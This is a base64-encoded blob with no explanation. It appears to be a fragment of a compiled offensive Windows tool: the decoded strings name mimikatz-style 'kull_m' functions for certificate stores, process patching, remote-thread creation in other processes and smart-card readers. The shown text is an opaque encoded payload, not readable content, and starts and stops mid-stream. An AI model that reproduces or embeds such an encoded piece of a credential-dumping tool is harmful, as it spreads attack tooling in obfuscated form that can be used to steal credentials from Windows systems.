IAQQBuAGQASwBlAHkASQBuAGYAbwBUAG8AUwB0AG8AcgBlACAAOwAgAEMAZQByAHQAUwBlAHQAQwBlAHIAdABpAGYAaQBjAGEAdABlAEMAbwBuAHQAZQB4AHQAUAByAG8AcABlAHIAdAB5ACgAQwBFAFIAVABfAEsARQBZAF8AUABSAE8AVgBfAEkATgBGAE8AXwBQAFIATwBQAF8ASQBEACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBjAHIAeQBwAHQAbwBfAEQAZQByAEEAbgBkAEsAZQB5AEkAbgBmAG8AVABvAFMAdABvAHIAZQAgADsAIABDAGUAcgB0AEEAZABkAEUAbgBjAG8AZABlAGQAQwBlAHIAdABpAGYAaQBjAGEAdABlAFQAbwBTAHQAbwByAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAEMARQBSAFQAXwBTAFkAUwBUAEUATQBfAFMAVABPAFIARQBfAEMAVQBSAFIARQBOAFQAXwBVAFMARQBSAAAAAAAAAAAAQwBFAFIAVABfAFMAWQBTAFQARQBNAF8AUwBUAE8AUgBFAF8AQwBVAFIAUgBFAE4AVABfAFUAUwBFAFIAXwBHAFIATwBVAFAAXwBQAE8ATABJAEMAWQAAAEMARQBSAFQAXwBTAFkAUwBUAEUATQBfAFMAVABPAFIARQBfAEwATwBDAEEATABfAE0AQQBDAEgASQBOAEUAAABDAEUAUgBUAF8AUwBZAFMAVABFAE0AXwBTAFQATwBSAEUAXwBMAE8AQwBBAEwAXwBNAEEAQwBIAEkATgBFAF8ARwBSAE8AVQBQAF8AUABPAEwASQBDAFkAAAAAAAAAAABDAEUAUgBUAF8AUwBZAFMAVABFAE0AXwBTAFQATwBSAEUAXwBMAE8AQwBBAEwAXwBNAEEAQwBIAEkATgBFAF8ARQBOAFQARQBSAFAAUgBJAFMARQAAAAAAQwBFAFIAVABfAFMAWQBTAFQARQBNAF8AUwBUAE8AUgBFAF8AQwBVAFIAUgBFAE4AVABfAFMARQBSAFYASQBDAEUAAABDAEUAUgBUAF8AUwBZAFMAVABFAE0AXwBTAFQATwBSAEUAXwBVAFMARQBSAFMAAABDAEUAUgBUAF8AUwBZAFMAVABFAE0AXwBTAFQATwBSAEUAXwBTAEUAUgBWAEkAQwBFAFMAAAAAAE0AUwBfAEQARQBGAF8AUABSAE8AVgAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEIAYQBzAGUAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByACAAdgAxAC4AMAAAAAAATQBTAF8ARQBOAEgAQQBOAEMARQBEAF8AUABSAE8AVgAAAAAATQBTAF8AUwBUAFIATwBOAEcAXwBQAFIATwBWAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABTAHQAcgBvAG4AZwAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAABNAFMAXwBEAEUARgBfAFIAUwBBAF8AUwBJAEcAXwBQAFIATwBWAAAATQBpAGMAcgBvAHMAbwBmAHQAIABSAFMAQQAgAFMAaQBnAG4AYQB0AHUAcgBlACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAAAAAATQBTAF8ARABFAEYAXwBSAFMAQQBfAFMAQwBIAEEATgBOAEUATABfAFAAUgBPAFYAAAAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAFIAUwBBACAAUwBDAGgAYQBuAG4AZQBsACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAAAE0AUwBfAEQARQBGAF8ARABTAFMAXwBQAFIATwBWAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAQgBhAHMAZQAgAEQAUwBTACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAAAE0AUwBfAEQARQBGAF8ARABTAFMAXwBEAEgAXwBQAFIATwBWAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABCAGEAcwBlACAARABTAFMAIABhAG4AZAAgAEQAaQBmAGYAaQBlAC0ASABlAGwAbABtAGEAbgAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAAAAAAE0AUwBfAEUATgBIAF8ARABTAFMAXwBEAEgAXwBQAFIATwBWAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAG4AaABhAG4AYwBlAGQAIABEAFMAUwAgAGEAbgBkACAARABpAGYAZgBpAGUALQBIAGUAbABsAG0AYQBuACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAAAAAATQBTAF8ARABFAEYAXwBEAEgAXwBTAEMASABBAE4ATgBFAEwAXwBQAFIATwBWAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAARABIACAAUwBDAGgAYQBuAG4AZQBsACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAAAAAATQBTAF8AUwBDAEEAUgBEAF8AUABSAE8AVgAAAE0AaQBjAHIAbwBzAG8AZgB0ACAAQgBhAHMAZQAgAFMAbQBhAHIAdAAgAEMAYQByAGQAIABDAHIAeQBwAHQAbwAgAFAAcgBvAHYAaQBkAGUAcgAAAE0AUwBfAEUATgBIAF8AUgBTAEEAXwBBAEUAUwBfAFAAUgBPAFYAXwBYAFAAAAAAAAAAAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAbgBoAGEAbgBjAGUAZAAgAFIAUwBBACAAYQBuAGQAIABBAEUAUwAgAEMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABQAHIAbwB2AGkAZABlAHIAIAAoAFAAcgBvAHQAbwB0AHkAcABlACkAAABNAFMAXwBFAE4ASABfAFIAUwBBAF8AQQBFAFMAXwBQAFIATwBWAAAAAAAAAE0AaQBjAHIAbwBzAG8AZgB0ACAARQBuAGgAYQBuAGMAZQBkACAAUgBTAEEAIABhAG4AZAAgAEEARQBTACAAQwByAHkAcAB0AG8AZwByAGEAcABoAGkAYwAgAFAAcgBvAHYAaQBkAGUAcgAAAFAAUgBPAFYAXwBSAFMAQQBfAEYAVQBMAEwAAABQAFIATwBWAF8AUgBTAEEAXwBTAEkARwAAAAAAUABSAE8AVgBfAEQAUwBTAAAAAABQAFIATwBWAF8ARgBPAFIAVABFAFoAWgBBAAAAUABSAE8AVgBfAE0AUwBfAEUAWABDAEgAQQBOAEcARQAAAAAAUABSAE8AVgBfAFMAUwBMAAAAAABQAFIATwBWAF8AUgBTAEEAXwBTAEMASABBAE4ATgBFAEwAAABQAFIATwBWAF8ARABTAFMAXwBEAEgAAABQAFIATwBWAF8ARQBDAF8ARQBDAEQAUwBBAF8AUwBJAEcAAABQAFIATwBWAF8ARQBDAF8ARQBDAE4AUgBBAF8AUwBJAEcAAABQAFIATwBWAF8ARQBDAF8ARQBDAEQAUwBBAF8ARgBVAEwATAAAAAAAUABSAE8AVgBfAEUAQwBfAEUAQwBOAFIAQQBfAEYAVQBMAEwAAAAAAFAAUgBPAFYAXwBEAEgAXwBTAEMASABBAE4ATgBFAEwAAAAAAFAAUgBPAFYAXwBTAFAAWQBSAFUAUwBfAEwAWQBOAEsAUwAAAFAAUgBPAFYAXwBSAE4ARwAAAAAAUABSAE8AVgBfAEkATgBUAEUATABfAFMARQBDAAAAAABQAFIATwBWAF8AUgBFAFAATABBAEMARQBfAE8AVwBGAAAAAABQAFIATwBWAF8AUgBTAEEAXwBBAEUAUwAAAAAAQwBBAEwARwBfAE0ARAAyAAAAAABDAEEATABHAF8ATQBEADQAAAAAAEMAQQBMAEcAXwBNAEQANQAAAAAAQwBBAEwARwBfAFMASABBADEAAABDAEEATABHAF8ATQBBAEMAAAAAAEMAQQBMAEcAXwBSAFMAQQBfAFMASQBHAE4AAABDAEEATABHAF8ARABTAFMAXwBTAEkARwBOAAAAQwBBAEwARwBfAE4ATwBfAFMASQBHAE4AAAAAAEMAQQBMAEcAXwBSAFMAQQBfAEsARQBZAFgAAABDAEEATABHAF8ARABFAFMAAAAAAEMAQQBMAEcAXwAzAEQARQBTAF8AMQAxADIAAABDAEEATABHAF8AMwBEAEUAUwAAAEMAQQBMAEcAXwBEAEUAUwBYAAAAQwBBAEwARwBfAFIAQwAyAAAAAABDAEEATABHAF8AUgBDADQAAAAAAEMAQQBMAEcAXwBTAEUAQQBMAAAAQwBBAEwARwBfAEQASABfAFMARgAAAAAAQwBBAEwARwBfAEQASABfAEUAUABIAEUATQAAAEMAQQBMAEcAXwBBAEcAUgBFAEUARABLAEUAWQBfAEEATgBZAAAAAABDAEEATABHAF8ASwBFAEEAXwBLAEUAWQBYAAAAQwBBAEwARwBfAEgAVQBHAEgARQBTAF8ATQBEADUAAABDAEEATABHAF8AUwBLAEkAUABKAEEAQwBLAAAAQwBBAEwARwBfAFQARQBLAAAAAABDAEEATABHAF8AQwBZAEwASQBOAEsAXwBNAEUASwAAAEMAQQBMAEcAXwBTAFMATAAzAF8AUwBIAEEATQBEADUAAAAAAEMAQQBMAEcAXwBTAFMATAAzAF8ATQBBAFMAVABFAFIAAAAAAEMAQQBMAEcAXwBTAEMASABBAE4ATgBFAEwAXwBNAEEAUwBUAEUAUgBfAEgAQQBTAEgAAABDAEEATABHAF8AUwBDAEgAQQBOAE4ARQBMAF8ATQBBAEMAXwBLAEUAWQAAAEMAQQBMAEcAXwBTAEMASABBAE4ATgBFAEwAXwBFAE4AQwBfAEsARQBZAAAAQwBBAEwARwBfAFAAQwBUADEAXwBNAEEAUwBUAEUAUgAAAAAAQwBBAEwARwBfAFMAUwBMADIAXwBNAEEAUwBUAEUAUgAAAAAAQwBBAEwARwBfAFQATABTADEAXwBNAEEAUwBUAEUAUgAAAAAAQwBBAEwARwBfAFIAQwA1AAAAAABDAEEATABHAF8ASABNAEEAQwAAAEMAQQBMAEcAXwBUAEwAUwAxAFAAUgBGAAAAAABDAEEATABHAF8ASABBAFMASABfAFIARQBQAEwAQQBDAEUAXwBPAFcARgAAAEMAQQBMAEcAXwBBAEUAUwBfADEAMgA4AAAAAABDAEEATABHAF8AQQBFAFMAXwAxADkAMgAAAAAAQwBBAEwARwBfAEEARQBTAF8AMgA1ADYAAAAAAEMAQQBMAEcAXwBBAEUAUwAAAAAAQwBBAEwARwBfAFMASABBAF8AMgA1ADYAAAAAAEMAQQBMAEcAXwBTAEgAQQBfADMAOAA0AAAAAABDAEEATABHAF8AUwBIAEEAXwA1ADEAMgAAAAAAQwBBAEwARwBfAEUAQwBEAEgAAABDAEEATABHAF8ARQBDAE0AUQBWAAAAAABDAEEATABHAF8ARQBDAEQAUwBBAAAAAABDAEUAUgBUAF8ASwBFAFkAXwBQAFIATwBWAF8ASABBAE4ARABMAEUAXwBQAFIATwBQAF8ASQBEAAAAAABDAEUAUgBUAF8ASwBFAFkAXwBQAFIATwBWAF8ASQBOAEYATwBfAFAAUgBPAFAAXwBJAEQAAAAAAEMARQBSAFQAXwBTAEgAQQAxAF8ASABBAFMASABfAFAAUgBPAFAAXwBJAEQAAAAAAEMARQBSAFQAXwBNAEQANQBfAEgAQQBTAEgAXwBQAFIATwBQAF8ASQBEAAAAQwBFAFIAVABfAEgAQQBTAEgAXwBQAFIATwBQAF8ASQBEAAAAQwBFAFIAVABfAEsARQBZAF8AQwBPAE4AVABFAFgAVABfAFAAUgBPAFAAXwBJAEQAAAAAAEMARQBSAFQAXwBLAEUAWQBfAFMAUABFAEMAXwBQAFIATwBQAF8ASQBEAAAAQwBFAFIAVABfAEkARQAzADAAXwBSAEUAUwBFAFIAVgBFAEQAXwBQAFIATwBQAF8ASQBEAAAAAABDAEUAUgBUAF8AUABVAEIASwBFAFkAXwBIAEEAUwBIAF8AUgBFAFMARQBSAFYARQBEAF8AUABSAE8AUABfAEkARAAAAEMARQBSAFQAXwBFAE4ASABLAEUAWQBfAFUAUwBBAEcARQBfAFAAUgBPAFAAXwBJAEQAAABDAEUAUgBUAF8AQwBUAEwAXwBVAFMAQQBHAEUAXwBQAFIATwBQAF8ASQBEAAAAAABDAEUAUgBUAF8ATgBFAFgAVABfAFUAUABEAEEAVABFAF8ATABPAEMAQQBUAEkATwBOAF8AUABSAE8AUABfAEkARAAAAEMARQBSAFQAXwBGAFIASQBFAE4ARABMAFkAXwBOAEEATQBFAF8AUABSAE8AUABfAEkARAAAAAAAQwBFAFIAVABfAFAAVgBLAF8ARgBJAEwARQBfAFAAUgBPAFAAXwBJAEQAAABDAEUAUgBUAF8ARABFAFMAQwBSAEkAUABUAEkATwBOAF8AUABSAE8AUABfAEkARAAAAAAAQwBFAFIAVABfAEEAQwBDAEUAUwBTAF8AUwBUAEEAVABFAF8AUABSAE8AUABfAEkARAAAAEMARQBSAFQAXwBTAEkARwBOAEEAVABVAFIARQBfAEgAQQBTAEgAXwBQAFIATwBQAF8ASQBEAAAAQwBFAFIAVABfAFMATQBBAFIAVABfAEMAQQBSAEQAXwBEAEEAVABBAF8AUABSAE8AUABfAEkARAAAAAAAQwBFAFIAVABfAEUARgBTAF8AUABSAE8AUABfAEkARAAAAAAAQwBFAFIAVABfAEYATwBSAFQARQBaAFoAQQBfAEQAQQBUAEEAXwBQAFIATwBQAF8ASQBEAAAAAABDAEUAUgBUAF8AQQBSAEMASABJAFYARQBEAF8AUABSAE8AUABfAEkARAAAAEMARQBSAFQAXwBLAEUAWQBfAEkARABFAE4AVABJAEYASQBFAFIAXwBQAFIATwBQAF8ASQBEAAAAQwBFAFIAVABfAEEAVQBUAE8AXwBFAE4AUgBPAEwATABfAFAAUgBPAFAAXwBJAEQAAAAAAEMARQBSAFQAXwBQAFUAQgBLAEUAWQBfAEEATABHAF8AUABBAFIAQQBfAFAAUgBPAFAAXwBJAEQAAAAAAAAAAABDAEUAUgBUAF8AQwBSAE8AUwBTAF8AQwBFAFIAVABfAEQASQBTAFQAXwBQAE8ASQBOAFQAUwBfAFAAUgBPAFAAXwBJAEQAAABDAEUAUgBUAF8ASQBTAFMAVQBFAFIAXwBQAFUAQgBMAEkAQwBfAEsARQBZAF8ATQBEADUAXwBIAEEAUwBIAF8AUABSAE8AUABfAEkARAAAAEMARQBSAFQAXwBTAFUAQgBKAEUAQwBUAF8AUABVAEIATABJAEMAXwBLAEUAWQBfAE0ARAA1AF8ASABBAFMASABfAFAAUgBPAFAAXwBJAEQAAAAAAEMARQBSAFQAXwBFAE4AUgBPAEwATABNAEUATgBUAF8AUABSAE8AUABfAEkARAAAAEMARQBSAFQAXwBEAEEAVABFAF8AUwBUAEEATQBQAF8AUABSAE8AUABfAEkARAAAAAAAAABDAEUAUgBUAF8ASQBTAFMAVQBFAFIAXwBTAEUAUgBJAEEATABfAE4AVQBNAEIARQBSAF8ATQBEADUAXwBIAEEAUwBIAF8AUABSAE8AUABfAEkARAAAAAAAQwBFAFIAVABfAFMAVQBCAEoARQBDAFQAXwBOAEEATQBFAF8ATQBEADUAXwBIAEEAUwBIAF8AUABSAE8AUABfAEkARAAAAAAAQwBFAFIAVABfAEUAWABUAEUATgBEAEUARABfAEUAUgBSAE8AUgBfAEkATgBGAE8AXwBQAFIATwBQAF8ASQBEAAAAAABDAEUAUgBUAF8AYwBlAHIAdABfAGYAaQBsAGUAXwBlAGwAZQBtAGUAbgB0AAAAAABDAEUAUgBUAF8AYwByAGwAXwBmAGkAbABlAF8AZQBsAGUAbQBlAG4AdAAAAEMARQBSAFQAXwBjAHQAbABfAGYAaQBsAGUAXwBlAGwAZQBtAGUAbgB0AAAAQwBFAFIAVABfAGsAZQB5AGkAZABfAGYAaQBsAGUAXwBlAGwAZQBtAGUAbgB0AAAAQwBFAFIAVABfAFIARQBOAEUAVwBBAEwAXwBQAFIATwBQAF8ASQBEAAAAAABDAEUAUgBUAF8AQQBSAEMASABJAFYARQBEAF8ASwBFAFkAXwBIAEEAUwBIAF8AUABSAE8AUABfAEkARAAAAAAAQwBFAFIAVABfAEEAVQBUAE8AXwBFAE4AUgBPAEwATABfAFIARQBUAFIAWQBfAFAAUgBPAFAAXwBJAEQAAAAAAEMARQBSAFQAXwBBAEkAQQBfAFUAUgBMAF8AUgBFAFQAUgBJAEUAVgBFAEQAXwBQAFIATwBQAF8ASQBEAAAAAABDAEUAUgBUAF8AQQBVAFQASABPAFIASQBUAFkAXwBJAE4ARgBPAF8AQQBDAEMARQBTAFMAXwBQAFIATwBQAF8ASQBEAAAAAABDAEU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AUAByAG8AYwBlAHMAcwBPAHIAUwBlAHIAdgBpAGMAZQBGAHIAbwBtAEIAdQBpAGwAZAAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcABhAHQAYwBoAF8AZwBlAG4AZQByAGkAYwBQAHIAbwBjAGUAcwBzAE8AcgBTAGUAcgB2AGkAYwBlAEYAcgBvAG0AQgB1AGkAbABkACAAOwAgAFMAZQByAHYAaQBjAGUAIABpAHMAIABuAG8AdAAgAHIAdQBuAG4AaQBuAGcACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaABfAGcAZQBuAGUAcgBpAGMAUAByAG8AYwBlAHMAcwBPAHIAUwBlAHIAdgBpAGMAZQBGAHIAbwBtAEIAdQBpAGwAZAAgADsAIABrAHUAbABsAF8AbQBfAHMAZQByAHYAaQBjAGUAXwBnAGUAdABVAG4AaQBxAHUAZQBGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaABfAGcAZQBuAGUAcgBpAGMAUAByAG8AYwBlAHMAcwBPAHIAUwBlAHIAdgBpAGMAZQBGAHIAbwBtAEIAdQBpAGwAZAAgADsAIABJAG4AYwBvAHIAcgBlAGMAdAAgAHYAZQByAHMAaQBvAG4AIABpAG4AIAByAGUAZgBlAHIAZQBuAGMAZQBzAAoAAAAAAFAATgA1ADMAMgA+ACAAAABQAE4ANQAzADIAPAAgAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAG4ANQAzADIAXwBzAGUAbgBkAHIAZQBjAHYAIAA7ACAAUgBlAGMAdgAgAEMAQwAgAGkAcwAgAG4AbwB0ACAAdgBhAGwAaQBkADoAIAAwAHgAJQAwADIAeAAsACAAZQB4AHAAZQBjAHQAZQBkACAAMAB4ACUAMAAyAHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcABuADUAMwAyAF8AcwBlAG4AZAByAGUAYwB2ACAAOwAgAFIAZQBjAHYAIABUAEYASQAgAGkAcwAgAG4AbwB0ACAAdgBhAGwAaQBkADoAIAAwAHgAJQAwADIAeAAsACAAZQB4AHAAZQBjAHQAZQBkACAAMAB4ACUAMAAyAHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHAAbgA1ADMAMgBfAHMAZQBuAGQAcgBlAGMAdgAgADsAIABjAGIATwB1AHQAIAA9ACAAJQBoAHUAIAAoAG4AbwB0ACAAbABvAG4AZwAgAGUAbgBvAHUAZwBoACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcABuADUAMwAyAF8AcwBlAG4AZAByAGUAYwB2ACAAOwAgAHAAbgA1ADMAMgBfAGMAbQBkACAAaQBzACAAbgBvAHQAIABlAHYAZQBuACAAKAAwAHgAJQAwADIAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAG4ANQAzADIAXwBzAGUAbgBkAHIAZQBjAHYAIAA7ACAAYwBiAEkAbgAgAD0AIAAlAGgAdQAgAC8AIABjAGIATwB1AHQAIAA9ACAAJQBoAHUAIAAoAG0AYQB4ACAAaQBzACAAJQBoAHUAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwBwAG4ANQAzADIAXwBzAGUAbgBkAHIAZQBjAHYAIAA7ACAATgBvACAAYwBvAG0AbQB1AG4AaQBjAGEAdABvAHIACgAAAAAAeQBlAHMAAABuAG8AAAAAAD4APgAgAAAAPAA8ACAAAABzAGUAdAAgAE8ASwAAAAAAcwBlAHQAIABmAGEAaQBsAHUAcgBlAAAAcgBlAGEAZABlAHIAIAByAGUAcABsAHkAIAB0AGkAbQBlAG8AdQB0AAAAAABjAGEAcgBkACAAZABvAGUAcwAgAG4AbwB0ACAAZQB4AGkAcwB0AAAAZABhAHQAYQAgAHIAZQBzAHAAbwBuAHMAZQAgAGYAcgBvAG0AIAB0AGgAZQAgAGMAYQByAGQAAAAAAAAAZgBvAHIAbQBhAHQAIABvAHIAIABwAGEAcgBhAG0AZQB0AGUAcgAgAG8AZgAgAHQAaABlACAAYwBvAG0AbQBhAG4AZAAAAAAAdQBuAGsAbgBvAHcAbgAgAGkAbgB0AGUAcgBuAGEAbAAgAGUAcgByAG8AcgAAAAAAaQBuAGkAdABWAGEAbAAgAHAAcgBvAGMAZQBzAHMAAAB3AHIAbwBuAGcAIABTAE4AUgAgAGQAdQByAGkAbgBnACAAYQBuAHQAaQBjAG8AbABsAGkAcwBpAG8AbgAAAAAAYQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuACAAZgBhAGkAbAB1AHIAZQAAAAAAcgBlAGEAZABlAHIAIAByAGUAYwBlAGkAdgBlAGQAIAB1AG4AawBuAG8AdwBuACAAYwBvAG0AbQBhAG4AZAAAAGMAYQByAGQAIABkAG8AZQBzACAAbgBvAHQAIABzAHUAcABwAG8AcgB0ACAAdABoAGkAcwAgAGMAbwBtAG0AYQBuAGQAAAAAAGYAbwByAG0AYQB0ACAAbwBmACAAdABoAGUAIABjAG8AbQBtAGEAbgBkAAAAZABvAGUAcwAgAG4AbwB0ACAAcwB1AHAAcABvAHIAdAAgAG8AcAB0AGkAbwBuACAAbQBvAGQAZQAAAAAAYgBsAG8AYwBrACAAZABvAGUAcwAgAG4AbwB0ACAAZQB4AGkAcwB0AAAAAABvAGIAagBlAGMAdAAgAGgAYQBzACAAYgBlAGUAbgAgAGwAbwBjAGsAZQBkAAAAAABsAG8AYwBrACAAbwBwAGUAcgBhAHQAaQBvAG4AIABkAGkAZAAgAG4AbwB0ACAAcwB1AGMAYwBlAGUAZAAAAAAAbwBwAGUAcgBhAHQAaQBvAG4AIABkAGkAZAAgAG4AbwB0ACAAcwB1AGMAYwBlAGUAZAAAAHUAbgBrAG4AbwB3ACAAZQByAHIAbwByACAAYwBvAGQAZQAhAAAAAABFAFIAUgBPAFIAIAByAGQAbQBfAHMAZQBuAGQAXwByAGUAYwBlAGkAdgBlACAAOwAgAEMAbwBtAG0AYQBuAGQAIABmAGEAaQBsAHUAcgBlADoAIAAwAHgAJQAwADIAeAAgAC0AIAAlAHMACgAAAAAARQBSAFIATwBSACAAcgBkAG0AXwBzAGUAbgBkAF8AcgBlAGMAZQBpAHYAZQAgADsAIABkAGEAdABhACAAcwBpAHoAZQAgAGkAcwAgAG4AbwB0ACAAMQAgAHcAaABlAG4AIABkAGUAYQBsAGkAbgBnACAAdwBoAGUAbgAgAGEAbgAgAGUAcgByAG8AcgAgAHMAdABhAHQAdQBzACAAKAAlAGgAaAB1ACkACgAAAGMAaABlAGMAawBzAHUAbQAAAAAAbgBvAHQAIABDAE8ATQAgAHAAbwByAHQAIABzAGUAbABlAGMAdABlAGQAAAB0AGkAbQBlAG8AdQB0ACAAcgBlAHAAbAB5AAAAYwBoAGUAYwBrACAAcwBlAHEAdQBlAG4AYwBlAAAAAAByAGUAYwBlAGkAdgBlAAAAcABhAHIAYQBtAGUAdABlAHIAIAB2AGEAbAB1AGUAIABvAHUAdAAgAG8AZgAgAHIAYQBuAGcAZQAAAAAAAAAAAEUAUgBSAE8AUgAgAHIAZABtAF8AcwBlAG4AZABfAHIAZQBjAGUAaQB2AGUAIAA7ACAAUwB0AGEAdAB1AHMAIABmAGEAaQBsAHUAcgBlADoAIAAwAHgAJQAwADIAeAAgAC0AIAAlAHMACgAAAAAAAABFAFIAUgBPAFIAIAByAGQAbQBfAHMAZQBuAGQAXwByAGUAYwBlAGkAdgBlACAAOwAgAEIAYQBkACAAQwBSAEMAIAAoADAAeAAlADAAMgB4ACAALQAtACAAMAB4ACUAMAAyAHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAcgBkAG0AXwBzAGUAbgBkAF8AcgBlAGMAZQBpAHYAZQAgADsAIABCAGEAZAAgAEgASQBEACAAcwBpAHoAZQAgAHYAcwAgAEQAYQB0AGEAIABzAGkAegBlACAAKAAwAHgAJQAwADIAeAAgAC0ALQAgADAAeAAlADAAMgB4ACkACgAAAAAARQBSAFIATwBSACAAcgBkAG0AXwBzAGUAbgBkAF8AcgBlAGMAZQBpAHYAZQAgADsAIABCAGEAZAAgAEMAaABpAG4AYQAgAGgAZQBhAGQAZQByACAAKAAwAHgAJQAwADIAeAApAAoAAABFAFIAUgBPAFIAIAByAGQAbQBfAHMAZQBuAGQAXwByAGUAYwBlAGkAdgBlACAAOwAgAEIAYQBkACAASABJAEQAIABzAGkAegBlACAAKAAlAGgAaAB1ACkACgAAAAAAAABFAFIAUgBPAFIAIAByAGQAbQBfAHMAZQBuAGQAXwByAGUAYwBlAGkAdgBlACAAOwAgAEIAYQBkACAASABJAEQAIABoAGUAYQBkAGUAcgAgACgAMAB4ACUAMAAyAHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAHIAZABtAF8AcwBlAG4AZABfAHIAZQBjAGUAaQB2AGUAIAA7ACAASABpAGQARABfAEcAZQB0AEYAZQBhAHQAdQByAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAcgBkAG0AXwBzAGUAbgBkAF8AcgBlAGMAZQBpAHYAZQAgADsAIABIAGkAZABEAF8AUwBlAHQARgBlAGEAdAB1AHIAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIAByAGQAbQBfAGQAZQB2AGkAYwBlAHMAXwBnAGUAdAAgADsAIABIAGkAZABQAF8ARwBlAHQAQwBhAHAAcwAgACgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIAByAGQAbQBfAGQAZQB2AGkAYwBlAHMAXwBnAGUAdAAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABoAEQAZQB2AGkAYwBlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAcgBkAG0AXwBkAGUAdgBpAGMAZQBzAF8AZwBlAHQAIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAZABlAHYAaQBjAGUASABhAG4AZABsAGUAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAcgBkAG0AXwBkAGUAdgBpAGMAZQBzAF8AZwBlAHQAIAA7ACAAUwBlAHQAdQBwAEQAaQBHAGUAdABDAGwAYQBzAHMARABlAHYAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAATgBPAE4ARQAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBPAHAAZQBuAEEAbgBkAFEAdQBlAHIAeQBXAGkAdABoAEEAbABsAG8AYwAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAASwBPAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUQB1AGUAcgB5AFcAaQB0AGgAQQBsAGwAbwBjACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIABLAE8ACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBRAHUAZQByAHkAVwBpAHQAaABBAGwAbABvAGMAIAA7ACAAcAByAGUAIAAtACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAEsATwAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAGMAcgBlAGEAdABlACAAOwAgAFIAdABsAEMAcgBlAGEAdABlAFUAcwBlAHIAVABoAHIAZQBhAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AYwByAGUAYQB0AGUAIAA7ACAAQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAVABoAHIAZQBhAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAVABoACAAQAAgACUAcAAKAEQAYQAgAEAAIAAlAHAACgAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAGMAcgBlAGEAdABlACAAOwAgAGsAdQBsAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBpAG8AYwB0AGwAXwBoAGEAbgBkAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAEMAcgBlAGEAdABlAFIAZQBtAG8AdABlAEMAbw